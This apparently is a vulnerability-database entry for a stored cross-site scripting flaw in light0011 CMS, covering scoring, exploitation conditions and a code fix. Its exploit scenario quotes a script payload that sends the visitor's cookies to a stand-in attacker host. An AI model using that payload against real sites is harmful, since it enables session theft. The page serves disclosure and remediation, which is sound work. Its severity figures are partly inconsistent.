Skip to main content

light0011 CMS CVE-2026-85382

| EUVDEUVD-2026-70855 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-09-04 VulDB GHSA-h6vx-22pm-pj9v
2.1
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker submits XSS payload as chapter content
  2. Delivery
    Victim navigates to affected chapter page
  3. Exploit
    Template calls htmlspecialchars_decode() on content
  4. Execution
    Browser receives unescaped HTML/JavaScript
  5. Persist
    Injected script executes in victim's browser context
  6. Impact
    Attacker exfiltrates session cookies or performs authenticated actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

A victim must actively navigate to a chapter page containing attacker-controlled content (UI:P - passive user interaction required; the attacker cannot force this). The attacker must be able to influence the content stored in a chapter record, which may require content-contributor access to the CMS or could be achieved via reflected parameter injection depending on the application's routing. The CVSS PR:N indicates no server-side authentication is required to trigger the vulnerable rendering path itself. Exploitation is further limited by: (1) mandatory victim page view - no drive-by or zero-click path; (2) the product's minimal and largely unknown deployment footprint; (3) impact is confined to the victim's browser session, with no direct server-side compromise.

Impact

The CVSS 4.0 score of 5.3 (Medium) with vector AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/E:P accurately captures a network-exploitable XSS requiring a victim to view a crafted chapter page. The E:P exploitation-probability modifier is confirmed by the publicly available GitHub issue proof-of-concept. No CISA KEV listing exists, and no EPSS data was provided in available intelligence, which is consistent with a niche project of this footprint. Practical real-world risk is heavily bounded by deployment scale-even a mid-sized municipal IT team in opole would be unlikely to run this obscure, unmaintained CMS in production-though any instance where untrusted users can submit chapter content and administrators later view it could face session hijacking. The unresponsive maintainer and absence of any patch make remediation entirely operator-driven, elevating operational urgency for any confirmed deployment.

Exploit ScenarioDerived

An attacker submits a chapter with a payload such as <script>document.location='https://attacker.example/?c='+document.cookie</script> as the content argument. When an authenticated administrator or any site visitor views the chapter page, the template renders the content through htmlspecialchars_decode(), converting any encoded characters back to raw HTML tags, causing the browser to execute the injected script. A public proof-of-concept demonstrating this flow is available in the GitHub issue report.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 04, 2026

Cross-site scripting in light0011 CMS allows remote attackers to inject arbitrary JavaScript into chapter content pages by manipulating the content argument processed through PHP's htmlspecialchars_decode() function in the chapter template. The misuse of this function-which decodes HTML entities rather than encoding them-means user-supplied chapter content is rendered as raw HTML in victims' browsers. A public proof-of-concept is available via GitHub issue #8, and the project maintainer has not responded to the coordinated disclosure.

RemediationAI

No vendor-released patch has been identified at time of analysis; the project maintainer has not responded to disclosure made via GitHub issue #8 (https://github.com/light0011/cms/issues/8). Operators should immediately restrict public access to any deployed instance or take it offline. As a local code fix, replace the htmlspecialchars_decode() call in App/Home/View/Default/Chapter/oneChapter.tpl with htmlspecialchars($content, ENT_QUOTES, 'UTF-8') to encode output rather than decode it; note this may alter display of intentionally stored HTML entities in chapter content. As a compensating control where patching is not immediately possible, deploy a Web Application Firewall rule to strip or neutralize <script> tags and inline event handlers from chapter content inputs, accepting the trade-off that WAF rules may be bypassable via encoding variants. Further technical context is available at https://vuldb.com/vuln/398536.

Affected VersionsENISA

CMS f72cf46f601efb2a0618c3814cc2f61380b38930
CMS c774dce31c6df0055568a8d5c53d964d99be199d

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected product is light0011/cms (CPE: cpe:2.3:a:light0011:cms:*:*:*:*:*:*:*:*), a PHP-based CMS hosted on GitHub. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), arising specifically from misuse of PHP's built-in htmlspecialchars_decode() in the template file App/Home/View/Default/Chapter/oneChapter.tpl. This function reverses HTML entity encoding-converting &lt; back to < and &gt; back to >-so passing user-controlled content through it before rendering effectively re-introduces any XSS payloads that may have been entity-encoded upstream. The affected commits are identified by hashes c774dce31c6df0055568a8d5c53d964d99be199d and f72cf46f601efb2a0618c3814cc2f61380b38930; the project employs a rolling-release model with no version tags, so all deployed instances from the repository are presumed affected.

Know when Cms gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 2.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
vuln.today AI 6.1 MEDIUM

Network-exploitable XSS requiring victim page view (UI:R) with scope change as script executes in victim browser (S:C); low C/I impact typical of reflected/stored XSS; PR:N as rendering path requires no server auth.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Severity Changed
Sep 04, 2026 - 02:22 NVD
MEDIUM LOW
CVSS changed
Sep 04, 2026 - 02:22 NVD
5.3 (MEDIUM) 2.1 (LOW)
CVE Published
Sep 04, 2026 - 01:30 cve.org
MEDIUM 5.3

DescriptionCVE.org

A vulnerability was detected in light0011 cms c774dce31c6df0055568a8d5c53d964d99be199d/f72cf46f601efb2a0618c3814cc2f61380b38930. Impacted is the function htmlspecialchars_decode of the file App/Home/View/Default/Chapter/oneChapter.tpl of the component Chapter Content Output. Performing a manipulation of the argument content results in cross site scripting. Remote exploitation of the attack is possible. The exploit is now public and may be used. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The project was informed of the problem early through an issue report but has not responded yet.

Threat Intelligence Overview

EPSS Score
0.3%
Top 81% exploitable
Prevalence
Rare
obscure hobby CMS on GitHub, no known enterprise deployments
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Related Vulnerabilities in light0011 CMS Multiple Injection and Auth Flaws

View all 4

More in Cms

View all
CVE-2020-7357 CRITICAL POC
9.9 Aug 06

Cayin CMS suffers from an authenticated OS semi-blind command injection vulnerability using default credentials. Rated c

CVE-2012-4405 MEDIUM
6.8 Sep 18

Multiple integer underflows in the icmLut_allocate function in International Color Consortium (ICC) Format library (iccl

CVE-2021-47753 CRITICAL POC
9.8 Jan 15

phpKF CMS 3.00 Beta allows unauthenticated PHP file upload by disguising it as a PNG, then renaming it for execution. Po

CVE-2019-9874 CRITICAL POC
9.8 May 31

Deserialization of Untrusted Data in the Sitecore.Security.AntiCSRF (aka anti CSRF) module in Sitecore CMS 7.0 to 7.2 an

CVE-2019-9875 HIGH POC
8.8 May 31

Deserialization of Untrusted Data in the anti CSRF module in Sitecore through 9.1 allows an authenticated attacker to ex

CVE-2026-113358 HIGH POC
8.7 Oct 20

Unauthenticated file disclosure in LavaLite CMS through 10.1.2 allows remote attackers to download private stored files

CVE-2026-56382 HIGH POC
8.6 Jun 21

Authenticated remote code execution in Craft CMS versions 5.5.0 through 5.9.13 allows admin users to execute arbitrary P

CVE-2012-5894 HIGH POC
7.5 Nov 17

SQL injection vulnerability in hava_post.php in Havalite CMS 1.1.0 and earlier allows remote attackers to execute arbitr

CVE-2012-5893 MEDIUM POC
6.8 Nov 17

Unrestricted file upload vulnerability in hava_upload.php in Havalite CMS 1.1.0 and earlier allows remote attackers to e

CVE-2015-2083 MEDIUM POC
6.8 Feb 25

Cross-site request forgery (CSRF) vulnerability in Ilch CMS allows remote attackers to hijack the authentication of admi

CVE-2012-5919 MEDIUM POC
4.3 Nov 19

Multiple cross-site scripting (XSS) vulnerabilities in Havalite 1.0.4 and earlier allow remote attackers to inject arbit

CVE-2025-5429 MEDIUM POC
6.3 Jun 02

A security vulnerability in juzaweb CMS (CVSS 6.3). Risk factors: public PoC available.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy